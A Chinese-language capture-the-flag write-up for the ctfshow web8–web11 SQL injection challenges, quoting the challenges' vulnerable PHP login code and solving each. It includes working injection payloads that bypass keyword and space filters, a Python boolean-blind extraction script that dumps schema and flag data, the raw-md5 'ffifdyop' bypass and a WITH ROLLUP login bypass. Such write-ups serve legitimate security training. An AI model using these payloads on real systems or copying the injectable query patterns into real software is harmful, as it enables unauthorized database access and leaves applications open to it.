ctfshow_web8-11sql注入wp


web8

打开可以看到是get型的注入,试一下:

发现对单引号,空格都进行了过滤,尝试过滤:

http://54a2bc21-f382-4e3d-a315-8c23ed58a0f3.chall.ctf.show/index.php?id=1/**/or/**/1=1/**/#

可以看到回显,尝试使用union select进行注入,发现union被过滤,尝试大小写,嵌套union绕过,失败,那就不能用union了,使用布尔盲注

http://54a2bc21-f382-4e3d-a315-8c23ed58a0f3.chall.ctf.show/index.php?id=-1/**/or/**/(select(ascii(substr(database(),1,1)))=124)/**/#

发现逗号也被过滤掉了,选择别的方法做substr:

使用了from 1 for 1 可以替代1,1这样可以看到回显,接下来就跑脚本就好了:

#本题为ctfshow中web8,做了逗号,分号,union过滤,需要用到布尔盲注以及对逗号分号的绕过
import requests
import sys
table='' 
urlOpen="http://e064a804-0e90-4afd-a606-c2f5bca1620f.chall.ctf.show/index.php?id="
for i in range(1,50):
    for j in range(44,128): 
        #database
        # payload="0/**/or/**/(ascii(substr((select/**/database())from/**/%d/**/for/**/1)))=%d#" %(i,j)
        #库名
        # payload="0/**/or/**/(ascii(substr((select/**/group_concat(schema_name)from/**/information_schema.schemata)from/**/%d/**/for/**/1)))=%d#" %(i,j)
        #表名
        #payload="0/**/or/**/(ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1)))=%d#" %(i,j)
        #列名(分号被过滤了,可以用16进制来表示字符串:用编码转换工具转换你要的字符串,前缀 0x 即可。)
        #payload="0/**/or/**/(ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name=0x666c6167)from/**/%d/**/for/**/1)))=%d#" %(i,j)
        #找出flag
        payload="0/**/or/**/(ascii(substr((select/**/group_concat(flag)from/**/flag)from/**/%d/**/for/**/1)))=%d#" %(i,j)
        url = urlOpen + payload
        response=requests.get(url,timeout=10000).text
        if 'I asked nothing' in response:
            table+=chr(j)
            print(table)
            break

最后得到flag

web9

一个登陆界面,先试一试,尝试万能密码不管用,别的方法也没找到有明显的不同的,看了一下师傅们 的博客,嗯,index.phps拿源码看,啊这,脑洞还是不够大,我是

看一下源码

<?php
        $flag="";
        $password=$_POST['password'];
        if(strlen($password)>10){
            die("password error");
        }
        $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                         echo "登陆成功<br>";
                         echo $flag;
                     }
            }
    ?>

这里考察了一个**md5函数**的漏洞,这个函数的调用是为了方便与数据库中加密后的数据进行对比,这里的这个函数的第二个参数默认为false,这样会生成一个常规的32位MD5值,但为true的时候就存在漏洞了,当第二个参数为true时,生成的是一个原生的16字符的二进制格式,这意味着,这里有可能人为输入一个字符串,经加密后的值以二进制格式生成,又被当字符串处理,让新的字符串中含有可以构造SQL万能密码的’or’的万能密码部分,可以在网上找到这样的payload:

ffifdyop
129581926211651571912466741651878684928

这两个都可以构造出我们想要的or 万能密码,直接输入密码框就行了,这里如果password位数大于10会直接报错,所以用第一个就好了。

得到flag,看似是直接输入密码得到的flag,不知道还以为是爆破出来的,建议把这个字符串加入爆破字典

web10

依然需要使用index.phps得到源码查看


<?php
        $flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        $sql="select * from user where username = '$username'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row['password']){
                            echo "登陆成功<br>";
                            echo $flag;
                        }

                     }
            }
    ?>

过滤的很多,基本啥都过滤了,没思路了,看了hint,说是虚拟表绕过,再看了一下网上的教程,用的是with rollup进行注入。

先简单记录with rollup进行记录,这是一个用在group by后的语句,是对group by分类后的数据再一次进行统计汇总的功能,如果一列的数据不满足with rollup的条件(该列的数据的属性是不相同的)就会在该列中生成一条NULL数据,我们就利用这条NULL数据来进行注入:

password=&username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

在group by password后,使用with rollup,我们的目的是使得sql查询到的语句为空,让后面的password进行判断时(就是不输入密码时)与这个NULL进行匹配,达到登录成功的目的,输入上面的payload就可以得到flag了,

'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#

offset后面的值需要尝试才能找到pwd是null的行,但这道题直接就匹配到了,就这样了。

web11

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){    #session
            echo $flag;
        }else{
            echo "error";
        }
    ?>

这是给出的代码,看起来和web10很像,但其实这里使用session来判断密码是否相同,session中的password储存在本地的,所以只要删除cookie中的密码,并输入面为空,再登录就可以得到flag了


文章作者: 0xahh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xahh !
评论
  目录